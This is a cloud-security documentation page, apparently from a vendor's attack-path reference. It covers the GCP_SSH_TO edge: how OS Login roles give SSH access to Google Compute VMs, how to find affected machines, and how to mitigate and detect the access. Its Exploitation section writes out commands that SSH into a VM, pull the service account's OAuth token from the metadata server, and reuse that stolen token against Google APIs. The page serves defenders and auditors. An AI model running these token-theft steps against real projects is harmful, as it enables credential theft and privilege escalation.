> For the complete documentation index, see [llms.txt](https://docs.forestall.io/forestall/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.forestall.io/forestall/edges/gcp/gcp_ssh_to.md).

# GCP\_SSH\_TO

## Summary

|                            |                                                       |
| -------------------------- | ----------------------------------------------------- |
| **Forestall ACL Alias**    | GCP\_SSH\_TO                                          |
| **GCP Alias**              | Compute Execution & Pipeline Pivots                   |
| **Affected Object Types**  | Virtual Machines                                      |
| **Exploitation Certainty** | Likely                                                |
| **Granting Roles**         | `roles/compute.osLogin`, `roles/compute.osAdminLogin` |

## Description

`GCP_SSH_TO` indicates that an identity holds OS Login permissions (`roles/compute.osLogin` or `roles/compute.osAdminLogin`) which allow logging into an existing GCE VM via **OS Login**. OS Login ties SSH access to IAM identity, replacing traditional metadata-based SSH key management.

The value of an SSH session is rarely the operating system — it is the **metadata server**. Any process on a GCE VM can request an OAuth access token for the attached service account from `metadata.google.internal` without a credential of its own. An attacker with shell access therefore inherits the full IAM privileges of the VM's service account, which is very often broader than the privileges of the SSH grant itself.

A project-wide `roles/compute.osLogin` binding produces one `GCP_SSH_TO` edge per instance in scope, and each is assessed on its own merits.

`roles/compute.osAdminLogin` additionally grants `sudo`, allowing the attacker to read every user's files, install persistence, and query the metadata server as any local user.

**Relationship to `GCP_INJECT_SSH_KEY`:** both edges end in a shell on a VM, but they are reached by different means. `GCP_SSH_TO` uses the sanctioned OS Login path with an IAM-bound identity and is fully audited. [`GCP_INJECT_SSH_KEY`](https://docs.forestall.io/fsprotect/edges/gcp/gcp_inject_ssh_key) instead writes instance or project metadata to plant a key, and can disable OS Login outright by flipping `enable-oslogin`. Where `GCP_SSH_TO` requires OS Login to be on, `GCP_INJECT_SSH_KEY` works whether it is on or not.

## Identification

### gcloud CLI

```bash
PROJECT_ID="management-project-486413"
# List VMs, their SA attachments, and their OS Login state
gcloud compute instances list --project=$PROJECT_ID \
  --format="table(name, zone, status, serviceAccounts[0].email, metadata.items[enable-oslogin])"

# Find who has OS Login permissions
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("compute.osLogin|compute.osAdminLogin")) | {role: .role, members: .members}'

# Check if OS Login is enabled at the project level (the inherited default)
gcloud compute project-info describe --project=$PROJECT_ID \
  --format="value(commonInstanceMetadata.items)" | grep enable-oslogin

# Check instance-level OS Login setting (overrides the project default)
gcloud compute instances describe VM_NAME --zone=ZONE --project=$PROJECT_ID \
  --format="value(metadata.items)"
```

An OS Login binding is only meaningful where `enable-oslogin` resolves to `TRUE` for the instance. Check the instance metadata first and fall back to the project default when the instance does not set it.

### GCP Console

1. Open **GCP Console** → **Compute Engine** → **VM Instances**.
2. Click on a VM → **SSH** button — if enabled, IAM principals with OS Login roles can access it.
3. On the instance detail page, review **Metadata** section for `enable-oslogin`, and **Service accounts** for the attached identity and its scopes.
4. **IAM & Admin** → **IAM** → Check for `Compute OS Login` or `Compute OS Admin Login` roles.

## Exploitation

```bash
# Identify VMs running high-privilege service accounts
gcloud compute instances list --project=$PROJECT_ID \
  --format="table(name, zone, status, serviceAccounts[0].email)"

# Confirm OS Login is enabled in project metadata
gcloud compute project-info describe --project=$PROJECT_ID \
  --format="value(commonInstanceMetadata.items)" | grep enable-oslogin

# Confirm OS Login is enabled in instance metadata
gcloud compute instances describe INSTANCE_NAME \
  --zone=ZONE \
  --project=$PROJECT_ID \
  --format="value(metadata.items.filter('key:enable-oslogin').extract('value'))"

# Check for OS Login roles in project
gcloud projects get-iam-policy $PROJECT_ID --format=json | \
  jq '.bindings[] | select(.role | test("compute.osLogin|compute.osAdminLogin")) | {role: .role, members: .members}'

# SSH into the target VM
gcloud compute ssh VM_NAME --zone=us-central1-a --project=$PROJECT_ID

# From inside the VM, query the metadata server for the attached SA's token
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# Confirm which identity the stolen token belongs to
curl -s -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/email"
```

The stolen token can be used directly against Google APIs from anywhere, for as long as it remains valid:

```bash
TOKEN="ya29...."
curl -s -H "Authorization: Bearer $TOKEN" \
  "https://cloudresourcemanager.googleapis.com/v1/projects" | jq '.projects[].projectId'
```

## Mitigation

1. **Scope OS Login roles narrowly** — assign at specific VM resource level rather than project-wide where possible.
2. **Use `roles/compute.osLogin`** (non-sudo) instead of `roles/compute.osAdminLogin` unless root access is genuinely needed.
3. **Attach minimal-privilege SAs to VMs** — VMs that do not need elevated GCP API access should use a dedicated low-privilege SA, never the default Compute Engine service account. This is the single most effective control, because it caps what a shell is worth.
4. **Block metadata server access** from workloads that do not need it, using network controls or workload-level egress restrictions.
5. **Enforce OS Login organization-wide** with the `compute.requireOsLogin` constraint, so access stays IAM-bound and auditable rather than reverting to metadata SSH keys.
6. **Restrict `roles/iap.tunnelResourceAccessor`**, which removes network reachability as a barrier to this edge.

## Detection

| Log Type       | Method                               | Key Fields                                              |
| -------------- | ------------------------------------ | ------------------------------------------------------- |
| Data Access    | `compute.instances.get` via OS Login | SSH connection attempts                                 |
| System Event   | OS Login SSH auth                    | `resource.type=gce_instance`                            |
| Admin Activity | `SetIamPolicy`                       | New `compute.osLogin` / `compute.osAdminLogin` bindings |

```bash
# Monitor OS Login authentication events
gcloud logging read \
  'protoPayload.serviceName="oslogin.googleapis.com"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.methodName)"

# Monitor for new OS Login role grants
gcloud logging read \
  'protoPayload.methodName="SetIamPolicy" AND protoPayload.serviceData.policyDelta.bindingDeltas.role=~"compute.osLogin|compute.osAdminLogin"' \
  --project=$PROJECT_ID \
  --format="table(timestamp, protoPayload.authenticationInfo.principalEmail, protoPayload.resourceName)"
```

Alert on:

* OS Login SSH connections to VMs running high-privilege SAs.
* SSH connections from unexpected geographic locations or IP ranges.
* Metadata server token requests shortly after an OS Login session begins.
* Service account tokens minted on a VM being used from an IP outside that VM's egress range — a strong indicator the token was exfiltrated rather than used in place.
* New `compute.osAdminLogin` grants, which carry `sudo` on every instance in scope.

## References

* <https://cloud.google.com/compute/docs/oslogin/set-up-oslogin>
* <https://cloud.google.com/compute/docs/metadata/overview>
* <https://cloud.google.com/compute/docs/access/service-accounts>
* <https://cloud.google.com/iap/docs/using-tcp-forwarding>
